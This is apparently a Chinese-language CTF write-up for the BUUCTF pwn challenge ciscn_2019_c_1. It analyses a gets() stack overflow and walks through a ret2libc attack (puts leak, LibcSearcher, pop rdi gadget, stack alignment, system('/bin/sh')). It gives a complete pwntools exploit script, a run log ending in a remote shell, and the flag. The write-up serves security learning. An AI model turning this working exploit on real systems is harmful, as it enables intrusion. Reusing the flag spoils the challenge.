buuctf.pwn.ciscn_2019_c_1 1

发布时间 2023-03-31 00:31:49作者: redqx

检测一下啊

发现NX保护: 堆栈不可执行

然后没有地址随机化(很重要)

载入IDA

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int option; // [rsp+Ch] [rbp-4h] BYREF

  init(argc, argv, envp);
  puts("EEEEEEE                            hh      iii                ");
  puts("EE      mm mm mmmm    aa aa   cccc hh          nn nnn    eee  ");
  puts("EEEEE   mmm  mm  mm  aa aaa cc     hhhhhh  iii nnn  nn ee   e ");
  puts("EE      mmm  mm  mm aa  aaa cc     hh   hh iii nn   nn eeeee  ");
  puts("EEEEEEE mmm  mm  mm  aaa aa  ccccc hh   hh iii nn   nn  eeeee ");
  puts("====================================================================");
  puts("Welcome to this Encryption machine\n");
  give_choose();                                // 1 enc 2 dec 3 exit
  while ( 1 )
  {
    while ( 1 )
    {
      fflush(0LL);
      option = 0;
      __isoc99_scanf("%d", &option);
      getchar();
      if ( option != 2 )
        break;                                  // 输入不是解密就退出
      puts("I think you can do it by yourself");
      give_choose();
    }
    if ( option == 3 )                          // 退出
    {
      puts("Bye!");
      return 0;
    }
    if ( option != 1 )                          // 乱输入
      break;
    encrypt();                                  // 选择了加密
    give_choose();
  }
  puts("Something Wrong!");
  return 0;
}

分析得:没有明显的溢出漏洞

只能输入4字节,然后只有几个有效的选项

a. 退出

b. 加密

c. 其它选项

所以不能输入解密选项,当我们进入加密选项

来到加密函数

int encrypt()
{
  size_t v0; // rbx
  char input[48]; // [rsp+0h] [rbp-50h] BYREF
  __int16 v3; // [rsp+30h] [rbp-20h]

  memset(input, 0, sizeof(input));
  v3 = 0;
  puts("Input your Plaintext to be encrypted");
  gets(input);
  while ( 1 )
  {
    v0 = (unsigned int)x;
    if ( v0 >= strlen(input) )
      break;
    if ( input[x] <= 96 || input[x] > 122 )
    {
      if ( input[x] <= 64 || input[x] > 90 )
      {
        if ( input[x] > 47 && input[x] <= 57 )
          input[x] ^= 0xFu;
      }
      else
      {
        input[x] ^= 0xEu;
      }
    }
    else
    {
      input[x] ^= 0xDu;
    }
    ++x;
  }
  puts("Ciphertext");
  return puts(input);
}

发现在encrypt函数中存在gets栈溢出漏洞,没有限制s的输入长度,

所以我们的总体思路就是利用gest的栈溢出漏洞

写入一个我们可以利用的后门函数地址

char input[48]; // rbp-50h
rip			;	// rbp+8

所以我们要写入的数据是0x58个字节(最好是插入0,strlen(xx)=0,然后就不经过加密函数)

然后再写入8字节的可覆盖地址

ps:这只是存在的一个栈溢出漏洞,关于怎么利用这个漏洞,还是一个问题

这个题目的一个突破可就是通过已经有的puts去泄露libc版本号

然后通过libc的信息去获取system函数和字符串/bin/sh的真实地址

第一次利用缓冲区溢出漏洞去获取libc版本号

第二次利用缓冲区溢出漏洞前往system函数

如何获取libc版本号?

  1. gets缓冲区溢出,去往puts函数,puts打印elf.got['puts']的信息

  2. python的LibcSearcher模块返回libc的版本

知识背景:

通过python模块LibcSearcher,

然后传入一个已经存在的函数的真实地址

我们就可以获取libc的版本号

然后获取其它数据和资源的真实地址

关于地址:

libc = LibcSearcher('puts',puts_real)
libc.dump('puts') #返回puts函数在libc的原始地址
libc.dump('system')	#返回system函数在libc的原始地址
libc.dump("str_bin_sh") #返回str_bin_sh字符串在libc的原始地址

elf.plt['puts']是什么?

他是一个指针,指向了这个数据块(本质是puts函数的jmp跳转),类似于IAT表

elf.got['puts']是什么

他是一个指针,指向了一个数据块(本质是一个函数)

所以,我们如何去往puts,也就是把缓冲区溢出到elf.plt['puts']指向的地方就可以了

也就是溢出到那个jmp

如何给puts传递参数?

puts函数用的是寄存器传递参数,用的是rdi

但是缓冲区溢出操作的是栈

于是我们可以把参数入栈,然后pop rdi 实现传递参数

所以我们要先把已经准备在栈里面的elf.got['puts']给POP RDI

然后去往elf.plt['puts']

于是就打印出*elf_got_puts的数值

然后我们接收即可

问题1:如何去往pop rdi ;retn

那么我们就需要寻找类似于

pop rdi
ret

的指令

通过gest溢出,栈的一些情况

esp + 0 :elf.got['puts'] #在got中的位置 .got.plt:0000000000602020 off_602020      dq offset puts
esp + 8 :elf.plt['puts'] #在plt中的位置 .plt:00000000004006E0   jmp     cs:off_602020

然后

pop rdi
retn

python的ROPgadget模块,扫描二进制文件,可以寻找pop rdi 和 ret的指令

ROPgadget --binary ./ciscn_2019_c_1 --only "pop|ret"

ps:输入这个会报错,提醒缺少某些东西,然后就去下载就可以了

搜索elf文件中所有的ret或者pop指令的地址

这里搜索的是可能形成ret或者pop指令的地址

而不是真正的以前就有的ret和pop地址,比如有些指令,我们需要用IDA的U/C键才可以生成pop rdi 和 retn

如果只要ret的话输入,可以这样输入

ROPgadget --binary ./ciscn_2019_c_1 --only "ret"
┌──(root㉿kali)-[/home/kali/code]
└─# ROPgadget --binary ./ciscn_2019_c_1 --only "pop|ret"
Gadgets information
============================================================
0x0000000000400c7c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c7e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c80 : pop r14 ; pop r15 ; ret
0x0000000000400c82 : pop r15 ; ret
0x0000000000400c7b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c7f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004007f0 : pop rbp ; ret
0x0000000000400aec : pop rbx ; pop rbp ; ret
0x0000000000400c83 : pop rdi ; ret
0x0000000000400c81 : pop rsi ; pop r15 ; ret
0x0000000000400c7d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b9 : ret
0x00000000004008ca : ret 0x2017
0x0000000000400962 : ret 0x458b
0x00000000004009c5 : ret 0xbf02

Unique gadgets found: 15

于是我们发现0x0000000000400c83存在 pop rdi ; ret

小问题2: 接受几个字节

8?

puts是存在0截断的

也就是如果puts输出(0x7f1234567800)

它会什么也不输出,因为puts遇到了00,直接结束了

如果处理这种情况?不太知道,听别人说把数值处理一下,再输出,,,怎么处理???

还好这个题目的地址一般不会存在00的截断

而我们的libc函数的地址通常长这个样子

libc.so.6:00007F3350BD6820 puts:
libc.so.6:00007F3350BD6820 push    r14

也就是占用6字节,所以我们接受6字节即可

接受的6字节,扩充00到8字节,就是puts的elf.got['puts']指向的值

加入我们接受的地址是puts_realaddr

然后通过LibcSearcher模块

libc = LibcSearcher('puts',puts_realaddr)

我们就可以获取libc的版本号

但是....相同的地址,可能对应了不同的版本号

所以还得一个一个的试一下

于是在gets缓冲区溢出的条件下构造第一个payload

payload1 = b'a'*(0x50+8) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)

先去往pop_rdi,把puts_got弹出到rdi

然后去往puts_plt.输出puts的真实地址

最后函数返回到main(为什么还要回到main,因为我们还要再次利用gets的漏洞)

这个过程中,我们需要计算systen和/bin/sh的真实地址

int encrypt()函数返回到int main()

我们还要构造第二个payload

它会在int encrypt()返回的时候,去往system

在这之前,我么得把参数传递好,参数用的是rdi 传递的原理同puts一样

通过上面的解说,其实我们还是不能得出正确的exp

因为还有一个细节我们没有考虑到

那就ubuntu18后,进入一个函数的时候,要求栈地址是16的倍数

如果我们不进行一个栈地址的对齐

那么在进入system函数之前,会发现地址00007FFE5D0471D8不是16的倍数

然后运行就g了

所以我们得往栈里面添加一些垃圾数据

怎么个添加方法? 那就把之前的数据往下移动8字节,然后我们插入8字节

来达到进入system之前,栈地址是16的倍数

插入什么?

可以往栈里面写入个rip的相关地址

然后通过ret去抹去这个地址

比如栈

某个ret的地址A
pop rdi; ret 的地址B
/bin/sh字符串地址C
system函数的地址D

当我们函数最后ret的时候

就会去往地址A,地址A ret 去往地址B

比如修正后,进入system函数的时候,地址就是00007FFF187CD780

然后就可以执行system成功

完整exp如下

from pwn import *
from LibcSearcher import *

#context.log_level = 'debug'
c = remote("node4.buuoj.cn",26409)
elf = ELF('ciscn_2019_c_1')
ret = 0x4006b9 
#栈对齐时使用的ret ubuntu18以上环境64位程序在调用system函数的时候会对栈进行一次检查,
#此时栈中的内存必须是16位对齐的
pop_rdi_ret = 0x400c83
puts_plt = elf.plt['puts'] #在plt中的位置 .plt:00000000004006E0   jmp     cs:off_602020
puts_got = elf.got['puts'] #在got中的位置 .got.plt:0000000000602020 off_602020      dq offset puts
main_addr = elf.symbols['main'] #main函数的位置 返回主函数再进行下一次溢出
 
payload1 = b'\0'*(0x58) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
#这里


c.sendlineafter("Input your choice!",'1')
c.sendlineafter("Input your Plaintext to be encrypted",payload1) # 利用缓冲区溢出的漏洞
c.recvuntil("Ciphertext\n")#直到对方输出"Ciphertext\n"才返回
c.recvline()#接收一行数据再返回

puts_real = u64(c.recv(6).ljust(8,b'\x00'))
#接受6字节的数据,然后填充00扩展到8字节

#print(puts_real)
libc = LibcSearcher('puts',puts_real)
#在这里,会有个分支,告诉你有哪些版本号
offset = puts_real - libc.dump('puts')
system_real = offset + libc.dump('system')
bin_sh_addr = offset + libc.dump("str_bin_sh")


payload2 = b'\0'*(0x58) + p64(ret)+ p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_real)
c.sendlineafter('Input your choice!\n', '1')
c.sendlineafter('Input your Plaintext to be encrypted\n', payload2)
c.interactive()
[x] Opening connection to node4.buuoj.cn on port 26324
[x] Opening connection to node4.buuoj.cn on port 26324: Trying 117.21.200.166
[+] Opening connection to node4.buuoj.cn on port 26324: Done
[*] '/home/kali/code/ciscn_2019_c_1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
<ipython-input-1-451f5befd0fd>:17: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  c.sendlineafter("Input your choice!",'1')
/home/kali/.local/lib/python3.11/site-packages/pwnlib/tubes/tube.py:823: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
<ipython-input-1-451f5befd0fd>:19: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  c.recvuntil("Ciphertext\n")#直到对方输出"Ciphertext\n"才返回
[+] There are multiple libc that meet current constraints :
0 - libc6_2.27-3ubuntu1_amd64
1 - libc6_2.3.6-0ubuntu20_i386
2 - libc-2.32-7.fc33.i686
3 - libc-2.32-8.fc33.i686
4 - libc-2.32-10.fc33.i686
5 - libc6_2.27-0ubuntu3_amd64
6 - libc6_2.27-0ubuntu2_amd64
7 - libc6_2.19-0ubuntu6.5_amd64
8 - libc-2.32-6.fc33.i686
9 - libc-2.36-22.mga9.i586
[+] Choose one : 5
<ipython-input-1-451f5befd0fd>:32: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  c.sendlineafter('Input your choice!\n', '1')
[*] Switching to interactive mode
Ciphertext

cat flag
flag{2ed3e72c-74df-4070-8ad3-7b44593e88bb}